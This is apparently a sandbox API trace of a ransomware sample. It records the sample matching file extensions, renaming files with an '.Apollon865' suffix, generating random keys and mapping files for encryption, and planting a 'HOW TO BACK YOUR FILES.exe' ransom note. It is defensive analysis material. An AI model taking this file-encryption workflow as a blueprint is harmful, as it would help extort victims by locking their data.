	[0043.482] lstrlenW (lpString="4dl") returned 3
	[0043.482] lstrcmpiW (lpString1="jpg", lpString2="4dl") returned 1
	[0043.482] lstrlenW (lpString="^^^") returned 3
	[0043.482] lstrcmpiW (lpString1="jpg", lpString2="^^^") returned 1
	[0043.482] lstrlenW (lpString="abs") returned 3
	[0043.482] lstrcmpiW (lpString1="jpg", lpString2="abs") returned 1
	[0043.482] lstrlenW (lpString="abx") returned 3
	[0043.482] lstrcmpiW (lpString1="jpg", lpString2="abx") returned 1
	[0043.482] lstrlenW (lpString="accdb") returned 5
	[0043.482] lstrcmpiW (lpString1="s.jpg", lpString2="accdb") returned 1
	[0043.482] lstrlenW (lpString="accdc") returned 5
	[0043.482] lstrcmpiW (lpString1="s.jpg", lpString2="accdc") returned 1
	[0043.482] lstrlenW (lpString="accde") returned 5
	[0043.482] lstrcmpiW (lpString1="s.jpg", lpString2="accde") returned 1
	[0043.482] lstrlenW (lpString="accdr") returned 5
	[0043.482] lstrcmpiW (lpString1="s.jpg", lpString2="accdr") returned 1
	[0043.482] lstrlenW (lpString="accdt") returned 5
	[0043.482] lstrcmpiW (lpString1="s.jpg", lpString2="accdt") returned 1
	[0043.482] lstrlenW (lpString="accdw") returned 5
	[0043.482] lstrcmpiW (lpString1="s.jpg", lpString2="accdw") returned 1
	[0043.482] lstrlenW (lpString="accft") returned 5
	[0043.482] lstrcmpiW (lpString1="s.jpg", lpString2="accft") returned 1
	[0043.482] lstrlenW (lpString="adb") returned 3
	[0043.482] lstrcmpiW (lpString1="jpg", lpString2="adb") returned 1
	[0043.482] lstrlenW (lpString="adb") returned 3
	[0043.483] lstrcmpiW (lpString1="jpg", lpString2="adb") returned 1
	[0043.483] lstrlenW (lpString="ade") returned 3
	[0043.483] lstrcmpiW (lpString1="jpg", lpString2="ade") returned 1
	[0043.483] lstrlenW (lpString="adf") returned 3
	[0043.483] lstrcmpiW (lpString1="jpg", lpString2="adf") returned 1
	[0043.483] lstrlenW (lpString="adn") returned 3
	[0043.483] lstrcmpiW (lpString1="jpg", lpString2="adn") returned 1
	[0043.483] lstrlenW (lpString="adp") returned 3
	[0043.483] lstrcmpiW (lpString1="jpg", lpString2="adp") returned 1
	[0043.483] lstrlenW (lpString="alf") returned 3
	[0043.483] lstrcmpiW (lpString1="jpg", lpString2="alf") returned 1
	[0043.483] lstrlenW (lpString="ask") returned 3
	[0043.483] lstrcmpiW (lpString1="jpg", lpString2="ask") returned 1
	[0043.483] lstrlenW (lpString="btr") returned 3
	[0043.483] lstrcmpiW (lpString1="jpg", lpString2="btr") returned 1
	[0043.483] lstrlenW (lpString="cat") returned 3
	[0043.483] lstrcmpiW (lpString1="jpg", lpString2="cat") returned 1
	[0043.483] lstrlenW (lpString="cdb") returned 3
	[0043.483] lstrcmpiW (lpString1="jpg", lpString2="cdb") returned 1
	[0043.483] lstrlenW (lpString="ckp") returned 3
	[0043.483] lstrcmpiW (lpString1="jpg", lpString2="ckp") returned 1
	[0043.483] lstrlenW (lpString="cma") returned 3
	[0043.483] lstrcmpiW (lpString1="jpg", lpString2="cma") returned 1
	[0043.483] lstrlenW (lpString="cpd") returned 3
	[0043.483] lstrcmpiW (lpString1="jpg", lpString2="cpd") returned 1
	[0043.483] lstrlenW (lpString="dacpac") returned 6
	[0043.483] lstrcmpiW (lpString1="ps.jpg", lpString2="dacpac") returned 1
	[0043.483] lstrlenW (lpString="dad") returned 3
	[0043.483] lstrcmpiW (lpString1="jpg", lpString2="dad") returned 1
	[0043.483] lstrlenW (lpString="dadiagrams") returned 10
	[0043.483] lstrlenW (lpString="daschema") returned 8
	[0043.483] lstrcmpiW (lpString1="lips.jpg", lpString2="daschema") returned 1
	[0043.483] lstrlenW (lpString="db-journal") returned 10
	[0043.483] lstrlenW (lpString="db-shm") returned 6
	[0043.484] lstrcmpiW (lpString1="ps.jpg", lpString2="db-shm") returned 1
	[0043.484] lstrlenW (lpString="db-wal") returned 6
	[0043.484] lstrcmpiW (lpString1="ps.jpg", lpString2="db-wal") returned 1
	[0043.484] lstrlenW (lpString="dbc") returned 3
	[0043.484] lstrcmpiW (lpString1="jpg", lpString2="dbc") returned 1
	[0043.484] lstrlenW (lpString="dbs") returned 3
	[0043.484] lstrcmpiW (lpString1="jpg", lpString2="dbs") returned 1
	[0043.484] lstrlenW (lpString="dbt") returned 3
	[0043.484] lstrcmpiW (lpString1="jpg", lpString2="dbt") returned 1
	[0043.484] lstrlenW (lpString="dbv") returned 3
	[0043.484] lstrcmpiW (lpString1="jpg", lpString2="dbv") returned 1
	[0043.484] lstrlenW (lpString="dbx") returned 3
	[0043.484] lstrcmpiW (lpString1="jpg", lpString2="dbx") returned 1
	[0043.484] lstrlenW (lpString="dcb") returned 3
	[0043.484] lstrcmpiW (lpString1="jpg", lpString2="dcb") returned 1
	[0043.484] lstrlenW (lpString="dct") returned 3
	[0043.484] lstrcmpiW (lpString1="jpg", lpString2="dct") returned 1
	[0043.484] lstrlenW (lpString="dcx") returned 3
	[0043.484] lstrcmpiW (lpString1="jpg", lpString2="dcx") returned 1
	[0043.484] lstrlenW (lpString="ddl") returned 3
	[0043.484] lstrcmpiW (lpString1="jpg", lpString2="ddl") returned 1
	[0043.484] lstrlenW (lpString="dlis") returned 4
	[0043.484] lstrcmpiW (lpString1=".jpg", lpString2="dlis") returned -1
	[0043.484] lstrlenW (lpString="dp1") returned 3
	[0043.484] lstrcmpiW (lpString1="jpg", lpString2="dp1") returned 1
	[0043.484] lstrlenW (lpString="dqy") returned 3
	[0043.484] lstrcmpiW (lpString1="jpg", lpString2="dqy") returned 1
	[0043.484] lstrlenW (lpString="dsk") returned 3
	[0043.484] lstrcmpiW (lpString1="jpg", lpString2="dsk") returned 1
	[0043.484] lstrlenW (lpString="dsn") returned 3
	[0043.484] lstrcmpiW (lpString1="jpg", lpString2="dsn") returned 1
	[0043.484] lstrlenW (lpString="dtsx") returned 4
	[0043.484] lstrcmpiW (lpString1=".jpg", lpString2="dtsx") returned -1
	[0043.484] lstrlenW (lpString="dxl") returned 3
	[0043.485] lstrcmpiW (lpString1="jpg", lpString2="dxl") returned 1
	[0043.485] lstrlenW (lpString="eco") returned 3
	[0043.485] lstrcmpiW (lpString1="jpg", lpString2="eco") returned 1
	[0043.485] lstrlenW (lpString="ecx") returned 3
	[0043.485] lstrcmpiW (lpString1="jpg", lpString2="ecx") returned 1
	[0043.485] lstrlenW (lpString="edb") returned 3
	[0043.485] lstrcmpiW (lpString1="jpg", lpString2="edb") returned 1
	[0043.485] lstrlenW (lpString="epim") returned 4
	[0043.485] lstrcmpiW (lpString1=".jpg", lpString2="epim") returned -1
	[0043.485] lstrlenW (lpString="fcd") returned 3
	[0043.485] lstrcmpiW (lpString1="jpg", lpString2="fcd") returned 1
	[0043.485] lstrlenW (lpString="fdb") returned 3
	[0043.485] lstrcmpiW (lpString1="jpg", lpString2="fdb") returned 1
	[0043.485] lstrlenW (lpString="fic") returned 3
	[0043.485] lstrcmpiW (lpString1="jpg", lpString2="fic") returned 1
	[0043.485] lstrlenW (lpString="flexolibrary") returned 12
	[0043.485] lstrlenW (lpString="fm5") returned 3
	[0043.485] lstrcmpiW (lpString1="jpg", lpString2="fm5") returned 1
	[0043.485] lstrlenW (lpString="fmp") returned 3
	[0043.485] lstrcmpiW (lpString1="jpg", lpString2="fmp") returned 1
	[0043.485] lstrlenW (lpString="fmp12") returned 5
	[0043.485] lstrcmpiW (lpString1="s.jpg", lpString2="fmp12") returned 1
	[0043.485] lstrlenW (lpString="fmpsl") returned 5
	[0043.485] lstrcmpiW (lpString1="s.jpg", lpString2="fmpsl") returned 1
	[0043.485] lstrlenW (lpString="fol") returned 3
	[0043.485] lstrcmpiW (lpString1="jpg", lpString2="fol") returned 1
	[0043.485] lstrlenW (lpString="fp3") returned 3
	[0043.485] lstrcmpiW (lpString1="jpg", lpString2="fp3") returned 1
	[0043.485] lstrlenW (lpString="fp4") returned 3
	[0043.485] lstrcmpiW (lpString1="jpg", lpString2="fp4") returned 1
	[0043.485] lstrlenW (lpString="fp5") returned 3
	[0043.486] lstrcmpiW (lpString1="jpg", lpString2="fp5") returned 1
	[0043.486] lstrlenW (lpString="fp7") returned 3
	[0043.486] lstrcmpiW (lpString1="jpg", lpString2="fp7") returned 1
	[0043.486] lstrlenW (lpString="fpt") returned 3
	[0043.486] lstrcmpiW (lpString1="jpg", lpString2="fpt") returned 1
	[0043.486] lstrlenW (lpString="frm") returned 3
	[0043.486] lstrcmpiW (lpString1="jpg", lpString2="frm") returned 1
	[0043.486] lstrlenW (lpString="gdb") returned 3
	[0043.486] lstrcmpiW (lpString1="jpg", lpString2="gdb") returned 1
	[0043.486] lstrlenW (lpString="gdb") returned 3
	[0043.486] lstrcmpiW (lpString1="jpg", lpString2="gdb") returned 1
	[0043.486] lstrlenW (lpString="grdb") returned 4
	[0043.486] lstrcmpiW (lpString1=".jpg", lpString2="grdb") returned -1
	[0043.486] lstrlenW (lpString="gwi") returned 3
	[0043.486] lstrcmpiW (lpString1="jpg", lpString2="gwi") returned 1
	[0043.486] lstrlenW (lpString="hdb") returned 3
	[0043.486] lstrcmpiW (lpString1="jpg", lpString2="hdb") returned 1
	[0043.486] lstrlenW (lpString="his") returned 3
	[0043.486] lstrcmpiW (lpString1="jpg", lpString2="his") returned 1
	[0043.486] lstrlenW (lpString="ib") returned 2
	[0043.486] lstrcmpiW (lpString1="pg", lpString2="ib") returned 1
	[0043.486] lstrlenW (lpString="idb") returned 3
	[0043.486] lstrcmpiW (lpString1="jpg", lpString2="idb") returned 1
	[0043.486] lstrlenW (lpString="ihx") returned 3
	[0043.486] lstrcmpiW (lpString1="jpg", lpString2="ihx") returned 1
	[0043.486] lstrlenW (lpString="itdb") returned 4
	[0043.486] lstrcmpiW (lpString1=".jpg", lpString2="itdb") returned -1
	[0043.486] lstrlenW (lpString="itw") returned 3
	[0043.486] lstrcmpiW (lpString1="jpg", lpString2="itw") returned 1
	[0043.486] lstrlenW (lpString="jet") returned 3
	[0043.486] lstrcmpiW (lpString1="jpg", lpString2="jet") returned 1
	[0043.486] lstrlenW (lpString="jtx") returned 3
	[0043.486] lstrcmpiW (lpString1="jpg", lpString2="jtx") returned -1
	[0043.486] lstrlenW (lpString="kdb") returned 3
	[0043.487] lstrcmpiW (lpString1="jpg", lpString2="kdb") returned -1
	[0043.487] lstrlenW (lpString="kexi") returned 4
	[0043.487] lstrcmpiW (lpString1=".jpg", lpString2="kexi") returned -1
	[0043.487] lstrlenW (lpString="kexic") returned 5
	[0043.487] lstrcmpiW (lpString1="s.jpg", lpString2="kexic") returned 1
	[0043.487] lstrlenW (lpString="kexis") returned 5
	[0043.487] lstrcmpiW (lpString1="s.jpg", lpString2="kexis") returned 1
	[0043.487] lstrlenW (lpString="lgc") returned 3
	[0043.487] lstrcmpiW (lpString1="jpg", lpString2="lgc") returned -1
	[0043.487] lstrlenW (lpString="lwx") returned 3
	[0043.487] lstrcmpiW (lpString1="jpg", lpString2="lwx") returned -1
	[0043.487] lstrlenW (lpString="maf") returned 3
	[0043.487] lstrcmpiW (lpString1="jpg", lpString2="maf") returned -1
	[0043.487] lstrlenW (lpString="maq") returned 3
	[0043.487] lstrcmpiW (lpString1="jpg", lpString2="maq") returned -1
	[0043.487] lstrlenW (lpString="mar") returned 3
	[0043.487] lstrcmpiW (lpString1="jpg", lpString2="mar") returned -1
	[0043.487] lstrlenW (lpString="marshal") returned 7
	[0043.487] lstrcmpiW (lpString1="ips.jpg", lpString2="marshal") returned -1
	[0043.487] lstrlenW (lpString="mas") returned 3
	[0043.487] lstrcmpiW (lpString1="jpg", lpString2="mas") returned -1
	[0043.487] lstrlenW (lpString="mav") returned 3
	[0043.487] lstrcmpiW (lpString1="jpg", lpString2="mav") returned -1
	[0043.487] lstrlenW (lpString="maw") returned 3
	[0043.487] lstrcmpiW (lpString1="jpg", lpString2="maw") returned -1
	[0043.487] lstrlenW (lpString="mdbhtml") returned 7
	[0043.487] lstrcmpiW (lpString1="ips.jpg", lpString2="mdbhtml") returned -1
	[0043.487] lstrlenW (lpString="mdn") returned 3
	[0043.487] lstrcmpiW (lpString1="jpg", lpString2="mdn") returned -1
	[0043.487] lstrlenW (lpString="mdt") returned 3
	[0043.487] lstrcmpiW (lpString1="jpg", lpString2="mdt") returned -1
	[0043.487] lstrlenW (lpString="mfd") returned 3
	[0043.487] lstrcmpiW (lpString1="jpg", lpString2="mfd") returned -1
	[0043.487] lstrlenW (lpString="mpd") returned 3
	[0043.487] lstrcmpiW (lpString1="jpg", lpString2="mpd") returned -1
	[0043.488] lstrlenW (lpString="mrg") returned 3
	[0043.488] lstrcmpiW (lpString1="jpg", lpString2="mrg") returned -1
	[0043.488] lstrlenW (lpString="mud") returned 3
	[0043.488] lstrcmpiW (lpString1="jpg", lpString2="mud") returned -1
	[0043.488] lstrlenW (lpString="mwb") returned 3
	[0043.488] lstrcmpiW (lpString1="jpg", lpString2="mwb") returned -1
	[0043.488] lstrlenW (lpString="myd") returned 3
	[0043.488] lstrcmpiW (lpString1="jpg", lpString2="myd") returned -1
	[0043.488] lstrlenW (lpString="ndf") returned 3
	[0043.488] lstrcmpiW (lpString1="jpg", lpString2="ndf") returned -1
	[0043.488] lstrlenW (lpString="nnt") returned 3
	[0043.488] lstrcmpiW (lpString1="jpg", lpString2="nnt") returned -1
	[0043.488] lstrlenW (lpString="nrmlib") returned 6
	[0043.488] lstrcmpiW (lpString1="ps.jpg", lpString2="nrmlib") returned 1
	[0043.488] lstrlenW (lpString="ns2") returned 3
	[0043.488] lstrcmpiW (lpString1="jpg", lpString2="ns2") returned -1
	[0043.488] lstrlenW (lpString="ns3") returned 3
	[0043.488] lstrcmpiW (lpString1="jpg", lpString2="ns3") returned -1
	[0043.488] lstrlenW (lpString="ns4") returned 3
	[0043.488] lstrcmpiW (lpString1="jpg", lpString2="ns4") returned -1
	[0043.488] lstrlenW (lpString="nsf") returned 3
	[0043.488] lstrcmpiW (lpString1="jpg", lpString2="nsf") returned -1
	[0043.488] lstrlenW (lpString="nv") returned 2
	[0043.488] lstrcmpiW (lpString1="pg", lpString2="nv") returned 1
	[0043.488] lstrlenW (lpString="nv2") returned 3
	[0043.488] lstrcmpiW (lpString1="jpg", lpString2="nv2") returned -1
	[0043.488] lstrlenW (lpString="nwdb") returned 4
	[0043.488] lstrcmpiW (lpString1=".jpg", lpString2="nwdb") returned -1
	[0043.488] lstrlenW (lpString="nyf") returned 3
	[0043.488] lstrcmpiW (lpString1="jpg", lpString2="nyf") returned -1
	[0043.488] lstrlenW (lpString="odb") returned 3
	[0043.488] lstrcmpiW (lpString1="jpg", lpString2="odb") returned -1
	[0043.488] lstrlenW (lpString="odb") returned 3
	[0043.488] lstrcmpiW (lpString1="jpg", lpString2="odb") returned -1
	[0043.489] lstrlenW (lpString="oqy") returned 3
	[0043.489] lstrcmpiW (lpString1="jpg", lpString2="oqy") returned -1
	[0043.489] lstrlenW (lpString="ora") returned 3
	[0043.489] lstrcmpiW (lpString1="jpg", lpString2="ora") returned -1
	[0043.489] lstrlenW (lpString="orx") returned 3
	[0043.489] lstrcmpiW (lpString1="jpg", lpString2="orx") returned -1
	[0043.489] lstrlenW (lpString="owc") returned 3
	[0043.489] lstrcmpiW (lpString1="jpg", lpString2="owc") returned -1
	[0043.489] lstrlenW (lpString="p96") returned 3
	[0043.489] lstrcmpiW (lpString1="jpg", lpString2="p96") returned -1
	[0043.489] lstrlenW (lpString="p97") returned 3
	[0043.489] lstrcmpiW (lpString1="jpg", lpString2="p97") returned -1
	[0043.489] lstrlenW (lpString="pan") returned 3
	[0043.489] lstrcmpiW (lpString1="jpg", lpString2="pan") returned -1
	[0043.489] lstrlenW (lpString="pdb") returned 3
	[0043.489] lstrcmpiW (lpString1="jpg", lpString2="pdb") returned -1
	[0043.489] lstrlenW (lpString="pdm") returned 3
	[0043.489] lstrcmpiW (lpString1="jpg", lpString2="pdm") returned -1
	[0043.489] lstrlenW (lpString="pnz") returned 3
	[0043.489] lstrcmpiW (lpString1="jpg", lpString2="pnz") returned -1
	[0043.489] lstrlenW (lpString="qry") returned 3
	[0043.489] lstrcmpiW (lpString1="jpg", lpString2="qry") returned -1
	[0043.489] lstrlenW (lpString="qvd") returned 3
	[0043.489] lstrcmpiW (lpString1="jpg", lpString2="qvd") returned -1
	[0043.489] lstrlenW (lpString="rbf") returned 3
	[0043.489] lstrcmpiW (lpString1="jpg", lpString2="rbf") returned -1
	[0043.489] lstrlenW (lpString="rctd") returned 4
	[0043.489] lstrcmpiW (lpString1=".jpg", lpString2="rctd") returned -1
	[0043.489] lstrlenW (lpString="rod") returned 3
	[0043.489] lstrcmpiW (lpString1="jpg", lpString2="rod") returned -1
	[0043.489] lstrlenW (lpString="rodx") returned 4
	[0043.489] lstrcmpiW (lpString1=".jpg", lpString2="rodx") returned -1
	[0043.489] lstrlenW (lpString="rpd") returned 3
	[0043.489] lstrcmpiW (lpString1="jpg", lpString2="rpd") returned -1
	[0043.490] lstrlenW (lpString="rsd") returned 3
	[0043.490] lstrcmpiW (lpString1="jpg", lpString2="rsd") returned -1
	[0043.490] lstrlenW (lpString="sas7bdat") returned 8
	[0043.490] lstrcmpiW (lpString1="lips.jpg", lpString2="sas7bdat") returned -1
	[0043.490] lstrlenW (lpString="sbf") returned 3
	[0043.490] lstrcmpiW (lpString1="jpg", lpString2="sbf") returned -1
	[0043.490] lstrlenW (lpString="scx") returned 3
	[0043.490] lstrcmpiW (lpString1="jpg", lpString2="scx") returned -1
	[0043.490] lstrlenW (lpString="sdb") returned 3
	[0043.490] lstrcmpiW (lpString1="jpg", lpString2="sdb") returned -1
	[0043.490] lstrlenW (lpString="sdc") returned 3
	[0043.490] lstrcmpiW (lpString1="jpg", lpString2="sdc") returned -1
	[0043.490] lstrlenW (lpString="sdf") returned 3
	[0043.490] lstrcmpiW (lpString1="jpg", lpString2="sdf") returned -1
	[0043.490] lstrlenW (lpString="sis") returned 3
	[0043.490] lstrcmpiW (lpString1="jpg", lpString2="sis") returned -1
	[0043.490] lstrlenW (lpString="spq") returned 3
	[0043.490] lstrcmpiW (lpString1="jpg", lpString2="spq") returned -1
	[0043.490] lstrlenW (lpString="te") returned 2
	[0043.490] lstrcmpiW (lpString1="pg", lpString2="te") returned -1
	[0043.490] lstrlenW (lpString="teacher") returned 7
	[0043.490] lstrcmpiW (lpString1="ips.jpg", lpString2="teacher") returned -1
	[0043.490] lstrlenW (lpString="tmd") returned 3
	[0043.490] lstrcmpiW (lpString1="jpg", lpString2="tmd") returned -1
	[0043.490] lstrlenW (lpString="tps") returned 3
	[0043.490] lstrcmpiW (lpString1="jpg", lpString2="tps") returned -1
	[0043.490] lstrlenW (lpString="trc") returned 3
	[0043.490] lstrcmpiW (lpString1="jpg", lpString2="trc") returned -1
	[0043.490] lstrlenW (lpString="trc") returned 3
	[0043.490] lstrcmpiW (lpString1="jpg", lpString2="trc") returned -1
	[0043.490] lstrlenW (lpString="trm") returned 3
	[0043.490] lstrcmpiW (lpString1="jpg", lpString2="trm") returned -1
	[0043.490] lstrlenW (lpString="udb") returned 3
	[0043.490] lstrcmpiW (lpString1="jpg", lpString2="udb") returned -1
	[0043.491] lstrlenW (lpString="udl") returned 3
	[0043.491] lstrcmpiW (lpString1="jpg", lpString2="udl") returned -1
	[0043.491] lstrlenW (lpString="usr") returned 3
	[0043.491] lstrcmpiW (lpString1="jpg", lpString2="usr") returned -1
	[0043.491] lstrlenW (lpString="v12") returned 3
	[0043.491] lstrcmpiW (lpString1="jpg", lpString2="v12") returned -1
	[0043.491] lstrlenW (lpString="vis") returned 3
	[0043.491] lstrcmpiW (lpString1="jpg", lpString2="vis") returned -1
	[0043.491] lstrlenW (lpString="vpd") returned 3
	[0043.491] lstrcmpiW (lpString1="jpg", lpString2="vpd") returned -1
	[0043.491] lstrlenW (lpString="vvv") returned 3
	[0043.491] lstrcmpiW (lpString1="jpg", lpString2="vvv") returned -1
	[0043.491] lstrlenW (lpString="wdb") returned 3
	[0043.491] lstrcmpiW (lpString1="jpg", lpString2="wdb") returned -1
	[0043.491] lstrlenW (lpString="wmdb") returned 4
	[0043.491] lstrcmpiW (lpString1=".jpg", lpString2="wmdb") returned -1
	[0043.491] lstrlenW (lpString="wrk") returned 3
	[0043.491] lstrcmpiW (lpString1="jpg", lpString2="wrk") returned -1
	[0043.491] lstrlenW (lpString="xdb") returned 3
	[0043.491] lstrcmpiW (lpString1="jpg", lpString2="xdb") returned -1
	[0043.491] lstrlenW (lpString="xld") returned 3
	[0043.491] lstrcmpiW (lpString1="jpg", lpString2="xld") returned -1
	[0043.491] lstrlenW (lpString="xmlff") returned 5
	[0043.491] lstrcmpiW (lpString1="s.jpg", lpString2="xmlff") returned -1
	[0043.491] wsprintfW (in: param_1=0x119d398, param_2="%s.%s" | out: param_1="C:\\Users\\Public\\Pictures\\Sample Pictures\\Tulips.jpg.Apollon865") returned 62
	[0043.491] MoveFileExW (lpExistingFileName="C:\\Users\\Public\\Pictures\\Sample Pictures\\Tulips.jpg" (normalized: "c:\\users\\public\\pictures\\sample pictures\\tulips.jpg"), lpNewFileName="C:\\Users\\Public\\Pictures\\Sample Pictures\\Tulips.jpg.Apollon865" (normalized: "c:\\users\\public\\pictures\\sample pictures\\tulips.jpg.apollon865"), dwFlags=0x1) returned 1
	[0043.492] CreateFileW (lpFileName="C:\\Users\\Public\\Pictures\\Sample Pictures\\Tulips.jpg.Apollon865" (normalized: "c:\\users\\public\\pictures\\sample pictures\\tulips.jpg.apollon865"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x88000080, hTemplateFile=0x0) returned 0x154
	[0043.492] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x119e298 | out: lpFileSize=0x119e298*=620888) returned 1
	[0043.492] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x200300) returned 0x3060020
	[0043.492] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59a920
	[0043.493] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x5bf568
	[0043.493] CryptAcquireContextW (in: phProv=0x119d054, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x119d054*=0x5bf898) returned 1
	[0043.494] CryptGenRandom (in: hProv=0x5bf898, dwLen=0x80, pbBuffer=0x119d068 | out: pbBuffer=0x119d068) returned 1
	[0043.494] CryptReleaseContext (hProv=0x5bf898, dwFlags=0x0) returned 1
	[0043.494] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x97c60, lpName=0x0) returned 0x15c
	[0043.497] MapViewOfFile (hFileMappingObject=0x15c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x97c60) returned 0x4d0000
	[0043.910] CryptAcquireContextW (in: phProv=0x119d004, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x119d004*=0x5bf788) returned 1
	[0043.911] CryptGenRandom (in: hProv=0x5bf788, dwLen=0x80, pbBuffer=0x119d018 | out: pbBuffer=0x119d018) returned 1
	[0043.911] CryptReleaseContext (hProv=0x5bf788, dwFlags=0x0) returned 1
	[0043.911] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59aa10
	[0043.911] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59aa10 | out: hHeap=0x580000) returned 1
	[0043.911] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x100) returned 0x5c6560
	[0043.911] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5bacb8
	[0043.911] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c6560 | out: hHeap=0x580000) returned 1
	[0043.911] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5baba0
	[0043.911] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x208) returned 0x599f60
	[0043.912] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5baba0 | out: hHeap=0x580000) returned 1
	[0043.912] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x599f60 | out: hHeap=0x580000) returned 1
	[0043.912] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bacb8 | out: hHeap=0x580000) returned 1
	[0043.912] UnmapViewOfFile (lpBaseAddress=0x4d0000) returned 1
	[0043.917] CloseHandle (hObject=0x15c) returned 1
	[0043.917] CloseHandle (hObject=0x154) returned 1
	[0043.924] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a920 | out: hHeap=0x580000) returned 1
	[0043.924] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bf568 | out: hHeap=0x580000) returned 1
	[0043.924] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x3060020 | out: hHeap=0x580000) returned 1
	[0043.927] FindNextFileW (in: hFindFile=0x5ca110, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80340916, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7beaaeb8, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x7beaaeb8, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x97958, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Tulips.jpg", cAlternateFileName="")) returned 0
	[0043.927] FindClose (in: hFindFile=0x5ca110 | out: hFindFile=0x5ca110) returned 1
	[0043.927] RtlInterlockedPopEntrySList (in: ListHead=0x5b75f0 | out: ListHead=0x5b75f0) returned 0x5b7bf0
	[0043.927] lstrcpynW (in: lpString1=0x119e608, lpString2="C:\\Users\\Public\\Music", iMaxLength=260 | out: lpString1="C:\\Users\\Public\\Music") returned="C:\\Users\\Public\\Music"
	[0043.927] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7e28 | out: hHeap=0x580000) returned 1
	[0043.927] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7be8 | out: hHeap=0x580000) returned 1
	[0043.927] lstrlenW (lpString="C:\\Users\\Public\\Music") returned 21
	[0043.927] lstrcatW (in: lpString1="", lpString2="C:\\Users\\Public\\Music" | out: lpString1="C:\\Users\\Public\\Music") returned="C:\\Users\\Public\\Music"
	[0043.928] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0043.928] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\Public\\Music\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\public\\music\\how to back your files.exe"), bFailIfExists=1) returned 0
	[0043.928] CreateFileW (lpFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0043.928] GetLastError () returned 0x20
	[0043.928] Sleep (dwMilliseconds=0xc8) 
	[0044.149] CreateFileW (lpFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x148
	[0044.149] GetLastError () returned 0x0
	[0044.149] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x1dc00) returned 0x5cafb8
	[0044.149] ReadFile (in: hFile=0x148, lpBuffer=0x5cafb8, nNumberOfBytesToRead=0x1dc00, lpNumberOfBytesRead=0x119e2e4, lpOverlapped=0x0 | out: lpBuffer=0x5cafb8*, lpNumberOfBytesRead=0x119e2e4*=0x1dc00, lpOverlapped=0x0) returned 1
	[0044.149] CloseHandle (hObject=0x148) returned 1
	[0044.149] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5cafb8 | out: hHeap=0x580000) returned 1
	[0044.149] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0044.149] FindFirstFileW (in: lpFileName="C:\\Users\\Public\\Music\\*", lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfdb0c77c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x2db4b230, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2db4b230, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca150
	[0044.150] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0044.150] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
